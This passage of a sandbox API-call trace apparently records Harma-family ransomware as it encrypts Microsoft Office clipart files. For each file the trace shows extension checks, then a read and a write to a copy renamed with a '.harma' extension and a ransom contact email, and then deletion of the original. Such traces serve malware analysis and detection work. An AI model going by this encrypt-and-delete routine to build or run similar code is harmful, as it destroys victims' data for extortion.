(lpString=".ppt") returned 4 [0168.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.601] lstrlenW (lpString=".zip") returned 4 [0168.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.601] lstrlenW (lpString=".rar") returned 4 [0168.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString=".bz2") returned 4 [0168.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString=".7z") returned 3 [0168.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.601] lstrlenW (lpString=".dbf") returned 4 [0168.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.601] lstrlenW (lpString=".1cd") returned 4 [0168.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0168.601] lstrlenW (lpString=".jpg") returned 4 [0168.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.602] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.602] lstrlenW (lpString="J0105496.WMF") returned 12 [0168.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.602] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5156) returned 1 [0168.602] CloseHandle (hObject=0x33c) returned 1 [0168.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0168.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.603] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.603] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0168.604] GetLastError () returned 0x0 [0168.604] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1424, lpOverlapped=0x0) returned 1 [0168.736] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1430, lpOverlapped=0x0) returned 1 [0168.737] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.737] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.737] SetEndOfFile (hFile=0x210) returned 1 [0168.738] CloseHandle (hObject=0x210) returned 1 [0168.738] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.738] SetEndOfFile (hFile=0x33c) returned 1 [0168.973] CloseHandle (hObject=0x33c) returned 1 [0168.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.976] lstrlenW (lpString=".doc") returned 4 [0168.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString=".docx") returned 5 [0168.976] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.976] lstrlenW (lpString=".pdf") returned 4 [0168.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString=".xls") returned 4 [0168.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.976] lstrlenW (lpString=".xlsx") returned 5 [0168.976] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.976] lstrlenW (lpString=".ppt") returned 4 [0168.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.976] lstrlenW (lpString=".zip") returned 4 [0168.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.976] lstrlenW (lpString=".rar") returned 4 [0168.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString=".bz2") returned 4 [0168.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString=".7z") returned 3 [0168.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.976] lstrlenW (lpString=".dbf") returned 4 [0168.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.976] lstrlenW (lpString=".1cd") returned 4 [0168.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString=".jpg") returned 4 [0168.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString=".doc") returned 4 [0168.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString=".docx") returned 5 [0168.977] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.977] lstrlenW (lpString=".pdf") returned 4 [0168.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString=".xls") returned 4 [0168.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.977] lstrlenW (lpString=".xlsx") returned 5 [0168.977] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.977] lstrlenW (lpString=".ppt") returned 4 [0168.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString=".zip") returned 4 [0168.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.977] lstrlenW (lpString=".rar") returned 4 [0168.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString=".bz2") returned 4 [0168.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString=".7z") returned 3 [0168.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString=".dbf") returned 4 [0168.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.977] lstrlenW (lpString=".1cd") returned 4 [0168.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0168.978] lstrlenW (lpString=".jpg") returned 4 [0168.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.978] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.978] lstrlenW (lpString="J0105530.WMF") returned 12 [0168.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.979] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7384) returned 1 [0168.979] CloseHandle (hObject=0x33c) returned 1 [0168.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0168.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0168.979] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.980] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.981] GetLastError () returned 0x0 [0168.981] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0168.998] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0168.999] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.999] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.999] SetEndOfFile (hFile=0x39c) returned 1 [0168.999] CloseHandle (hObject=0x39c) returned 1 [0169.000] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.000] SetEndOfFile (hFile=0x33c) returned 1 [0169.002] CloseHandle (hObject=0x33c) returned 1 [0169.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.003] lstrlenW (lpString=".doc") returned 4 [0169.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".docx") returned 5 [0169.003] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.003] lstrlenW (lpString=".pdf") returned 4 [0169.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".xls") returned 4 [0169.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.003] lstrlenW (lpString=".xlsx") returned 5 [0169.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.003] lstrlenW (lpString=".ppt") returned 4 [0169.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.003] lstrlenW (lpString=".zip") returned 4 [0169.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.004] lstrlenW (lpString=".rar") returned 4 [0169.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString=".bz2") returned 4 [0169.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString=".7z") returned 3 [0169.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.004] lstrlenW (lpString=".dbf") returned 4 [0169.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.004] lstrlenW (lpString=".1cd") returned 4 [0169.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.004] lstrlenW (lpString=".jpg") returned 4 [0169.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.004] lstrlenW (lpString=".doc") returned 4 [0169.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString=".docx") returned 5 [0169.004] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.004] lstrlenW (lpString=".pdf") returned 4 [0169.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString=".xls") returned 4 [0169.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.004] lstrlenW (lpString=".xlsx") returned 5 [0169.004] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.004] lstrlenW (lpString=".ppt") returned 4 [0169.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.005] lstrlenW (lpString=".zip") returned 4 [0169.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.005] lstrlenW (lpString=".rar") returned 4 [0169.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.005] lstrlenW (lpString=".bz2") returned 4 [0169.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.005] lstrlenW (lpString=".7z") returned 3 [0169.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.005] lstrlenW (lpString=".dbf") returned 4 [0169.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.005] lstrlenW (lpString=".1cd") returned 4 [0169.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0169.005] lstrlenW (lpString=".jpg") returned 4 [0169.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.005] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.005] lstrlenW (lpString="J0105600.WMF") returned 12 [0169.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.044] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8680) returned 1 [0169.044] CloseHandle (hObject=0x39c) returned 1 [0169.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0169.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0169.046] GetLastError () returned 0x0 [0169.046] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x21e8, lpOverlapped=0x0) returned 1 [0169.164] WriteFile (in: hFile=0x348, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x21f0, lpOverlapped=0x0) returned 1 [0169.165] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0169.165] WriteFile (in: hFile=0x348, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.165] SetEndOfFile (hFile=0x348) returned 1 [0169.166] CloseHandle (hObject=0x348) returned 1 [0169.166] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.166] SetEndOfFile (hFile=0x39c) returned 1 [0169.168] CloseHandle (hObject=0x39c) returned 1 [0169.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0169.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.277] lstrlenW (lpString=".doc") returned 4 [0169.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".docx") returned 5 [0169.277] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.277] lstrlenW (lpString=".pdf") returned 4 [0169.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".xls") returned 4 [0169.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.277] lstrlenW (lpString=".xlsx") returned 5 [0169.277] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.277] lstrlenW (lpString=".ppt") returned 4 [0169.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.277] lstrlenW (lpString=".zip") returned 4 [0169.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.277] lstrlenW (lpString=".rar") returned 4 [0169.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".bz2") returned 4 [0169.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString=".7z") returned 3 [0169.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.277] lstrlenW (lpString=".dbf") returned 4 [0169.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.277] lstrlenW (lpString=".1cd") returned 4 [0169.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.278] lstrlenW (lpString=".jpg") returned 4 [0169.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.278] lstrlenW (lpString=".doc") returned 4 [0169.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".docx") returned 5 [0169.278] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.278] lstrlenW (lpString=".pdf") returned 4 [0169.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString=".xls") returned 4 [0169.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.278] lstrlenW (lpString=".xlsx") returned 5 [0169.278] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.278] lstrlenW (lpString=".ppt") returned 4 [0169.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.279] lstrlenW (lpString=".zip") returned 4 [0169.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.279] lstrlenW (lpString=".rar") returned 4 [0169.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString=".bz2") returned 4 [0169.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.279] lstrlenW (lpString=".7z") returned 3 [0169.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0169.279] lstrlenW (lpString=".dbf") returned 4 [0169.279] lstrcmpiW 